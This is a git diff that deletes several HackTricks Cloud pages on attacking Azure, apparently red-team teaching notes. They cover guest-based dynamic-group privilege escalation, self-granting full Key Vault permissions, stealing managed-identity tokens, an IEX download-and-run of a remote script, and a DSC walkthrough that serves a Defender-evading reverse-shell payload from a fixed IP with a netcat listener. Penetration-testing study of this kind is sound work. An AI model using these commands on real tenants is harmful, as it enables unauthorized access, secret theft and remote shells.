-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Basic Information
-
-**Dynamic groups** are groups that has a set of **rules** configured and all the **users or devices** that match the rules are added to the group. Every time a user or device **attribute** is **changed**, dynamic rules are **rechecked**. And when a **new rule** is **created** all devices and users are **checked**.
-
-Dynamic groups can have **Azure RBAC roles assigned** to them, but it's **not possible** to add **AzureAD roles** to dynamic groups.
-
-This feature requires Azure AD premium P1 license.
-
-## Privesc
-
-Note that by default any user can invite guests in Azure AD, so, If a dynamic group **rule** gives **permissions** to users based on **attributes** that can be **set** in a new **guest**, it's possible to **create a guest** with this attributes and **escalate privileges**. It's also possible for a guest to manage his own profile and change these attributes.
-
-Get groups that allow Dynamic membership: **`az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table`**
-
-### Example
-
-* **Rule example**: `(user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")`
-* **Rule description**: Any Guest user with a secondary email with the string 'security' will be added to the group
-
-For the Guest user email, accept the invitation and check the current settings of **that user** in [https://entra.microsoft.com/#view/Microsoft\_AAD\_IAM/TenantOverview.ReactView](https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView).\
-Unfortunately the page doesn't allow to modify the attribute values so we need to use the API:
-
-{% code overflow="wrap" %}
-```powershell
-# Login with the gust user
-az login --allow-no-subscriptions
-
-# Get user object ID
-az ad signed-in-user show
-
-# Update otherMails
-az rest --method PATCH \
-  --url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
-  --headers 'Content-Type=application/json' \
-  --body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}'
-
-# Verify the update
-az rest --method GET \
-  --url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
-  --query "otherMails"
-```
-{% endcode %}
-
-## References
-
-* [https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/](https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md b/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md
deleted file mode 100644
index 200b90d6d..000000000
--- a/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md
+++ /dev/null
@@ -1,60 +0,0 @@
-# Az - Key Vault Privesc
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Azure Key Vault
-
-For more information about this service check:
-
-{% content-ref url="../az-services/keyvault.md" %}
-[keyvault.md](../az-services/keyvault.md)
-{% endcontent-ref %}
-
-### Microsoft.KeyVault/vaults/write
-
-An attacker with this permission will be able to modify the policy of a key vault (the key vault must be using access policies instead of RBAC).
-
-```bash
-# If access policies in the output, then you can abuse it
-az keyvault show --name <vault-name>
-
-# Get current principal ID
-az ad signed-in-user show --query id --output tsv
-
-# Assign all permissions
-az keyvault set-policy \
-  --name <vault-name> \
-  --object-id <your-object-id> \
-  --key-permissions all \
-  --secret-permissions all \
-  --certificate-permissions all \
-  --storage-permissions all
-```
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/azure-security/az-services/README.md b/pentesting-cloud/azure-security/az-services/README.md
deleted file mode 100644
index d2f2876e2..000000000
--- a/pentesting-cloud/azure-security/az-services/README.md
+++ /dev/null
@@ -1,99 +0,0 @@
-# Az - Services
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Portals
-
-You can find the list of **Microsoft portals in** [**https://msportals.io/**](https://msportals.io/)
-
-### Raw requests
-
-#### Azure API via Powershell
-
-Get **access\_token** from **IDENTITY\_HEADER** and **IDENTITY\_ENDPOINT**: `system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');`.
-
-Then query the Azure REST API to get the **subscription ID** and more .
-
-```powershell
-$Token = 'eyJ0eX..'
-$URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01'
-# $URI = 'https://graph.microsoft.com/v1.0/applications'
-$RequestParams = @{
- Method = 'GET'
- Uri = $URI
- Headers = @{
- 'Authorization' = "Bearer $Token"
- }
-}
-(Invoke-RestMethod @RequestParams).value 
-
-# List resources and check for runCommand privileges
-$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resources?api-version=2020-10-01'
-$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/<RG-NAME>/providers/Microsoft.Compute/virtualMachines/<RESOURCE/providers/Microsoft.Authorization/permissions?apiversion=2015-07-01'
-```
-
-#### Azure API via Python Version
-
-```python
-IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT']
-IDENTITY_HEADER = os.environ['IDENTITY_HEADER']
-
-print("[+] Management API")
-cmd = 'curl "%s?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
-val = os.popen(cmd).read()
-print("Access Token: "+json.loads(val)["access_token"])
-print("ClientID/AccountID: "+json.loads(val)["client_id"])
-
-print("\r\n[+] Graph API")
-cmd = 'curl "%s?resource=https://graph.microsoft.com/&api-version=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
-val = os.popen(cmd).read()
-print(json.loads(val)["access_token"])
-print("ClientID/AccountID: "+json.loads(val)["client_id"])
-```
-
-or inside a Python Function:
-
-```python
-import logging, os
-import azure.functions as func
-
-def main(req: func.HttpRequest) -> func.HttpResponse:
-    logging.info('Python HTTP trigger function processed a request.')
-    IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT']
-    IDENTITY_HEADER = os.environ['IDENTITY_HEADER']
-    cmd = 'curl "%s?resource=https://management.azure.com&apiversion=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
-    val = os.popen(cmd).read()
-    return func.HttpResponse(val, status_code=200)
-```
-
-## List of Services
-
-**The pages of this section are ordered by Azure service. In there you will be able to find information about the service (how it works and capabilities) and also how to enumerate each service.**
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/azure-security/az-services/az-acr.md b/pentesting-cloud/azure-security/az-services/az-acr.md
deleted file mode 100644
index e3c5bf95c..000000000
--- a/pentesting-cloud/azure-security/az-services/az-acr.md
+++ /dev/null
@@ -1,76 +0,0 @@
-# Az - ACR
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Basic Information
-
-Azure Container Registry (ACR) is a managed service provided by Microsoft Azure for **storing and managing Docker container images and other artifacts**. It offers features such as integrated developer tools, geo-replication, security measures like role-based access control and image scanning, automated builds, webhooks and triggers, and network isolation. It works with popular tools like Docker CLI and Kubernetes, and integrates well with other Azure services.
-
-### Enumerate
-
-To enumerate the service you could use the script [**Get-AzACR.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Get-AzACR.ps1):
-
-{% code overflow="wrap" %}
-```bash
-# List Docker images inside the registry
-IEX (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/NetSPI/MicroBurst/master/Misc/Get-AzACR.ps1")
-
-Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Internet Explorer\Main" -Name "DisableFirstRunCustomize" -Value 2
-
-Get-AzACR -username <username> -password <password> -registry <corp-name>.azurecr.io
-```
-{% endcode %}
-
-{% tabs %}
-{% tab title="az cli" %}
-```bash
-az acr list --output table
-az acr show --name MyRegistry --resource-group MyResourceGroup
-```
-{% endtab %}
-
-{% tab title="Az Powershell" %}
-```powershell
-# List all ACRs in your subscription
-Get-AzContainerRegistry
-
-# Get a specific ACR
-Get-AzContainerRegistry -ResourceGroupName "MyResourceGroup" -Name "MyRegistry"
-```
-{% endtab %}
-{% endtabs %}
-
-Login & Pull from the registry
-
-```bash
-docker login <corp-name>.azurecr.io --username <username> --password <password>
-docker pull <corp-name>.azurecr.io/<image>:<tag>
-```
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/azure-security/az-services/az-application-proxy.md b/pentesting-cloud/azure-security/az-services/az-application-proxy.md
deleted file mode 100644
index 8b5f6c1c0..000000000
--- a/pentesting-cloud/azure-security/az-services/az-application-proxy.md
+++ /dev/null
@@ -1,66 +0,0 @@
-# Az - Application Proxy
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Basic Information
-
-[From the docs:](https://learn.microsoft.com/en-us/entra/identity/app-proxy/application-proxy)
-
-Azure Active Directory's Application Proxy provides **secure remote access to on-premises web applications**. After a **single sign-on to Azure AD**, users can access both **cloud** and **on-premises applications** through an **external URL** or an internal application portal.
-
-It works like this:
-
-<figure><img src="../../../.gitbook/assets/image (186).png" alt=""><figcaption></figcaption></figure>
-
-1. After the user has accessed the application through an endpoint, the user is directed to the **Azure AD sign-in page**.
-2. After a **successful sign-in**, Azure AD sends a **token** to the user's client device.
-3. The client sends the token to the **Application Proxy service**, which retrieves the user principal name (UPN) and security principal name (SPN) from the token. **Application Proxy then sends the request to the Application Proxy connector**.
-4. If you have configured single sign-on, the connector performs any **additional authentication** required on behalf of the user.
-5. The connector sends the request to the **on-premises application**.
-6. The **response** is sent through the connector and Application Proxy service **to the user**.
-
-## Enumeration
-
-```powershell
-# Enumerate applications with application proxy configured 
-Get-AzureADApplication | %{try{Get-AzureADApplicationProxyApplication -ObjectId $_.ObjectID;$_.DisplayName;$_.ObjectID}catch{}}
-
-# Get applications service principal
-Get-AzureADServicePrincipal -All $true | ?{$_.DisplayName -eq "Name"}
-
-# Use the following ps1 script from https://learn.microsoft.com/en-us/azure/active-directory/app-proxy/scripts/powershell-display-users-group-of-app
-# to find users and groups assigned to the application. Pass the ObjectID of the Service Principal to it
-Get-ApplicationProxyAssignedUsersAndGroups -ObjectId <object-id>
-```
-
-## References
-
-* [https://learn.microsoft.com/en-us/azure/active-directory/app-proxy/application-proxy](https://learn.microsoft.com/en-us/azure/active-directory/app-proxy/application-proxy)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/azure-security/az-services/az-arm-templates.md b/pentesting-cloud/azure-security/az-services/az-arm-templates.md
deleted file mode 100644
index b594c6aa7..000000000
--- a/pentesting-cloud/azure-security/az-services/az-arm-templates.md
+++ /dev/null
@@ -1,57 +0,0 @@
-# Az - ARM Templates / Deployments
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Basic Information
-
-[From the docs:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) To implement **infrastructure as code for your Azure solutions**, use Azure Resource Manager templates (ARM templates). The template is a JavaScript Object Notation (**JSON**) file that **defines** the **infrastructure** and configuration for your project. The template uses declarative syntax, which lets you state what you intend to deploy without having to write the sequence of programming commands to create it. In the template, you specify the resources to deploy and the properties for those resources.
-
-### History
-
-If you can access it, you can have **info about resources** that are not present but might be deployed in the future. Moreover, if a **parameter** containing **sensitive info** was marked as "**String**" **instead** of "**SecureString**", it will be present in **clear-text**.
-
-## Search Sensitive Info
-
-Users with the permissions `Microsoft.Resources/deployments/read` and `Microsoft.Resources/subscriptions/resourceGroups/read` can **read the deployment history**.
-
-```powershell
-Get-AzResourceGroup
-Get-AzResourceGroupDeployment -ResourceGroupName <name>
-
-# Export
-Save-AzResourceGroupDeploymentTemplate -ResourceGroupName <RESOURCE GROUP> -DeploymentName <DEPLOYMENT NAME>
-cat <DEPLOYMENT NAME>.json # search for hardcoded password
-cat <PATH TO .json FILE> | Select-String password
-```
-
-## References
-
-* [https://app.gitbook.com/s/5uvPQhxNCPYYTqpRwsuS/\~/changes/argKsv1NUBY9l4Pd28TU/pentesting-cloud/azure-security/az-services/az-arm-templates#references](az-arm-templates.md#references)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/azure-security/az-services/az-automation-account/az-state-configuration-rce.md b/pentesting-cloud/azure-security/az-services/az-automation-account/az-state-configuration-rce.md
deleted file mode 100644
index 5f6a84345..000000000
--- a/pentesting-cloud/azure-security/az-services/az-automation-account/az-state-configuration-rce.md
+++ /dev/null
@@ -1,91 +0,0 @@
-# Az - State Configuration RCE
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-**Check the complete post in:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
-
-### Summary of Remote Server (C2) Infrastructure Preparation and Steps
-
-#### Overview
-
-The process involves setting up a remote server infrastructure to host a modified Nishang `Invoke-PowerShellTcp.ps1` payload, named `RevPS.ps1`, designed to bypass Windows Defender. The payload is served from a Kali Linux machine with IP `40.84.7.74` using a simple Python HTTP server. The operation is executed through several steps:
-
-#### Step 1 — Create Files
-
-* **Files Required:** Two PowerShell scripts are needed:
-  1. `reverse_shell_config.ps1`: A Desired State Configuration (DSC) file that fetches and executes the payload. It is obtainable from [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
-  2. `push_reverse_shell_config.ps1`: A script to publish the configuration to the VM, available at [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
-* **Customization:** Variables and parameters in these files must be tailored to the user's specific environment, including resource names, file paths, and server/payload identifiers.
-
-#### Step 2 — Zip Configuration File
-
-* The `reverse_shell_config.ps1` is compressed into a `.zip` file, making it ready for transfer to the Azure Storage Account.
-
-```powershell
-Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
-```
-
-#### Step 3 — Set Storage Context & Upload
-
-* The zipped configuration file is uploaded to a predefined Azure Storage container, azure-pentest, using Azure's Set-AzStorageBlobContent cmdlet.
-
-```powershell
-Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
-```
-
-#### Step 4 — Prep Kali Box
-
-* The Kali server downloads the RevPS.ps1 payload from a GitHub repository.
-
-```bash
-wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
-```
-
-* The script is edited to specify the target Windows VM and port for the reverse shell.
-
-#### Step 5 — Publish Configuration File
-
-* The configuration file is executed, resulting in the reverse-shell script being deployed to the specified location on the Windows VM.
-
-#### Step 6 — Host Payload and Setup Listener
-
-* A Python SimpleHTTPServer is started to host the payload, along with a Netcat listener to capture incoming connections.
-
-```bash
-sudo python -m SimpleHTTPServer 80
-sudo nc -nlvp 443
-```
-
-* The scheduled task executes the payload, achieving SYSTEM-level privileges.
-
-#### Conclusion
-
-The successful execution of this process opens numerous possibilities for further actions, such as credential dumping or expanding the attack to multiple VMs. The guide encourages continued learning and creativity in the realm of Azure Automation DSC.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
